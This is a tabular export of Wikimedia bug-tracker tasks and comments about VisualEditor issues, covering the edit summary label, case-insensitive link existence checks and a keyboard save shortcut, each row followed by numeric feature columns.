242211,VisualEditor: CE CSS munging issue with specific (highly used) hewiki template,Was this fixed by the fix for bug 53436?,,,1388919466,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-e3ikdtgrrubm3iohiewm,task_subcomment,,True,c1,3,True,,,26,,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,Was this fixed by the fix for bug 53436?
52900,VisualEditor: Label the edit summary box as such,"A user points out that much of our communication both external and internal of the wiki instruct people to leave an edit summary, but the save dialog doesn't name this field as such, which might make it difficult for people to make a match between the instructions and the actual save dialog.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1373231700,1383280539.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-opmsqzsgromr47nfku4r,task_description,resolved,True,c1,3,True,False,False,0,,1.0,0.0,0.0,0.0,1.0,9.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,1.0,5.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,4.297297297297297,0.7297297297297297,"A user points out that much of our communication both external and internal of the wiki instruct people to leave an edit summary, but the save dialog doesn't name this field as such, which might make it difficult for people to make a match between the instructions and the actual save dialog.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
241773,VisualEditor: Label the edit summary box as such,"This was done, ages ago.",,,1383280539,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-opmsqzsgromr47nfku4r,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.857142857142857,1.0,"This was done, ages ago."
52898,VisualEditor: Link dialog lies about existence of page due to case insensitive matching,"If you have the [[Hands-on universe|Hands-On Universe]] link, it will report that Hands-On universe doesn't exist (which it does). This is probably because it matches on the different case: Hands-On Universe and then stops comparing.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52596",Medium,50.0,1373231160,1377809024.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-delfcnij7a43xvmu5qyt,task_description,resolved,True,c1,3,True,False,True,0,,0.0,0.0,0.0,0.0,1.0,4.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,4.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,12.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,18.0,4.0,1.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,10.0,6.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,2.0,3.5121951219512195,0.5975609756097561,"If you have the [[Hands-on universe|Hands-On Universe]] link, it will report that Hands-On universe doesn't exist (which it does). This is probably because it matches on the different case: Hands-On Universe and then stops comparing.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
241714,VisualEditor: Link dialog lies about existence of page due to case insensitive matching,This was fixed as part of the tweaks to the link inspector earlier this month.,,,1377809024,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-delfcnij7a43xvmu5qyt,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,0.9375,This was fixed as part of the tweaks to the link inspector earlier this month.
241709,VisualEditor: Link dialog lies about existence of page due to case insensitive matching,"Per discussion at Bug 52596 the presence of a redirect with a title of <=3 characters /may/ prevent an article with that title (but differently capitalised) appearing in the suggestions list.

For example the existence of the [[Fra]] redirect may be what is preventing the [[FRA]] article appearing in the list (something is, and the redirect is one theory).",,,1376076347,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-delfcnij7a43xvmu5qyt,task_subcomment,,True,c1,3,False,,,5,,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,5.0,7.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,4.0,0.0,0.0,12.0,3.960526315789474,0.631578947368421,"Per discussion at Bug 52596 the presence of a redirect with a title of <=3 characters /may/ prevent an article with that title (but differently capitalised) appearing in the suggestions list.

For example the existence of the [[Fra]] redirect may be what is preventing the [[FRA]] article appearing in the list (something is, and the redirect is one theory)."
241704,VisualEditor: Link dialog lies about existence of page due to case insensitive matching,"Forgot to add that redirects that differ other than by capitalisation are shown - e.g. [[Elizabeth II of the United Kingdom]], a redirect to [[Elizabeth II]], appears in the suggestions list.",,,1376073277,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-delfcnij7a43xvmu5qyt,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,17.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,17.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,17.0,14.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,10.0,3.8333333333333335,0.7142857142857143,"Forgot to add that redirects that differ other than by capitalisation are shown - e.g. [[Elizabeth II of the United Kingdom]], a redirect to [[Elizabeth II]], appears in the suggestions list."
241700,VisualEditor: Link dialog lies about existence of page due to case insensitive matching,*** Bug 52251 has been marked as a duplicate of this bug. ***,,,1376073139,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-delfcnij7a43xvmu5qyt,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52251 has been marked as a duplicate of this bug. ***
241695,VisualEditor: Link dialog lies about existence of page due to case insensitive matching,"This also happens with redirects. 
For example, [[Github]] is a redirect to [[GitHub]] but [[github]] is shown as not existing.

See attachment 13013 to bug 52251",,,1376073087,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-delfcnij7a43xvmu5qyt,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,12.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,26.0,3.2093023255813953,0.6976744186046512,"This also happens with redirects. 
For example, [[Github]] is a redirect to [[GitHub]] but [[github]] is shown as not existing.

See attachment 13013 to bug 52251"
241689,VisualEditor: Link dialog lies about existence of page due to case insensitive matching,"(In reply to comment #1)
> Other examples: [[A]], [[B]], [[To]], [[Hi]]

I filed this as bug 51013.",,,1373356246,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-delfcnij7a43xvmu5qyt,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,11.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,1.0,"(In reply to comment #1)
QUOTE

I filed this as bug 51013."
241683,VisualEditor: Link dialog lies about existence of page due to case insensitive matching,"Other examples: [[A]], [[B]], [[To]], [[Hi]]",,,1373299773,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-delfcnij7a43xvmu5qyt,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,54.0,1.5,0.38461538461538464,"Other examples: [[A]], [[B]], [[To]], [[Hi]]"
52897,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog","In the old editor, you could hit ctrl-alt-s to save the page. In the new editor the save action is not reachable using the keyboard.

We could just add ctrl-s/cmd-s to the Save button ?

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=38042
https://bugzilla.wikimedia.org/show_bug.cgi?id=50047",Medium,50.0,1373228820,1392849015.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_description,resolved,True,c1,3,True,False,False,0,,0.0,0.0,0.0,0.0,1.0,8.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,13.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,5.0,4.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.1645569620253164,0.5443037974683544,"In the old editor, you could hit ctrl-alt-s to save the page. In the new editor the save action is not reachable using the keyboard.

We could just add ctrl-s/cmd-s to the Save button ?

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL"
241655,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog","Change 110434 merged by jenkins-bot:
Use accesskey=s on the save buttons

https://gerrit.wikimedia.org/r/110434",,,1392846136,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,False,,,33,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,37.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9473684210526314,1.0,"Change 110434 merged by jenkins-bot:
Use accesskey=s on the save buttons

GERRIT_URL"
241650,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog","Change 113319 abandoned by Esanders:
Add save shortcut to dialog

Reason:
ALT+S is MediaWiki only, abandoning in favour of Idf4fa31b98d1fa9e

https://gerrit.wikimedia.org/r/113319",,,1392396699,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,False,,,32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,14.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.857142857142857,0.8928571428571429,"Change 113319 abandoned by Esanders:
Add save shortcut to dialog

Reason:
ALT+S is MediaWiki only, abandoning in favour of Idf4fa31b98d1fa9e

GERRIT_URL"
241645,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog","Change 113319 had a related patch set uploaded by Alex Monk:
Add save shortcut to dialog

https://gerrit.wikimedia.org/r/113319",,,1392342481,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,False,,,32,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.3,1.0,"Change 113319 had a related patch set uploaded by Alex Monk:
Add save shortcut to dialog

GERRIT_URL"
241642,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog","Change 110434 had a related patch set uploaded by Alex Monk:
Use accesskey=s on the save buttons

https://gerrit.wikimedia.org/r/110434",,,1391110776,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,False,,,30,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,22.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.043478260869565,1.0,"Change 110434 had a related patch set uploaded by Alex Monk:
Use accesskey=s on the save buttons

GERRIT_URL"
241639,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog","Trying to use accesskey=s like action=edit will make this conflict with FlaggedRevs, which doesn't appear on action=edit but does on veaction=edit (with display:none).",,,1391108156,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,True,,,30,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.8157894736842106,0.7631578947368421,"Trying to use accesskey=s like action=edit will make this conflict with FlaggedRevs, which doesn't appear on action=edit but does on veaction=edit (with display:none)."
241637,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog","I don't have any particularly strong views about the right way to do this, but I really want to be able to open the page in VisualEditor, make a small change to the text, and save the page, without ever taking my hands off the keyboard.",,,1378762522,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,False,,,10,,2.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,8.0,15.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,6.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,15.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.673076923076923,0.75,"I don't have any particularly strong views about the right way to do this, but I really want to be able to open the page in VisualEditor, make a small change to the text, and save the page, without ever taking my hands off the keyboard."
241635,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog",*** Bug 53693 has been marked as a duplicate of this bug. ***,,,1378223819,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53693 has been marked as a duplicate of this bug. ***
241630,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog",*** Bug 52745 has been marked as a duplicate of this bug. ***,,,1377814470,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52745 has been marked as a duplicate of this bug. ***
241626,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog","Having shortcuts for Show preview/Review your changes, and for Save page (two different buttons, so if one shortcut is used for both, VE needs to check whether it is on the main page or in a dialog box), would certainly be helpful. To quote the WMF Deputy Director: ""It's worth noting that VisualEditor has its own set of keyboard shortcuts, which can help with common tasks such as linking (which I actually already find faster in VE) ...""

And yes, there is also the accessibility issue - anything that can *only* be done by mouse is, by definition, an immovable problem to a physically disabled person who can only use a keyboard.",,,1374687986,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,False,,,3,,0.0,0.5,0.0,1.0,0.0,5.5,1.0,0.0,0.0,0.5,2.0,0.0,0.0,1.5,0.5,0.5,0.0,5.5,10.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,4.5,2.0,1.5,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.5,0.0,0.0,0.5,10.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,4.5,3.5,7.5,1.5,2.0,6.5,0.0,0.0,0.0,0.0,4.0,0.5,1.0,0.0,2.5,10.0,4.5,0.0,1.0,0.0,2.5,0.0,3.0,2.5,0.0,1.5,0.5,0.0,0.0,3.8745610184372254,0.8516242317822651,"Having shortcuts for Show preview/Review your changes, and for Save page (two different buttons, so if one shortcut is used for both, VE needs to check whether it is on the main page or in a dialog box), would certainly be helpful. To quote the WMF Deputy Director: ""It's worth noting that VisualEditor has its own set of keyboard shortcuts, which can help with common tasks such as linking (which I actually already find faster in VE) ...""

And yes, there is also the accessibility issue - anything that can *only* be done by mouse is, by definition, an immovable problem to a physically disabled person who can only use a keyboard."
241622,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog","(In reply to comment #2)
> In the old editor, I would simply use TAB to reach the edit summary, type my
> edit summary and press ENTER to activate the ""Save page"" button and save. If
> I wanted to mark the edit minor, then I could type my edit summary, press TAB,
> SPACE, and then ENTER to ""Save page"".

Yeah... I split this out to bug 51918.",,,1374630651,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,15.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,4.0,7.0,0.0,4.0,15.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8518518518518516,0.7407407407407407,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE

Yeah... I split this out to bug 51918."
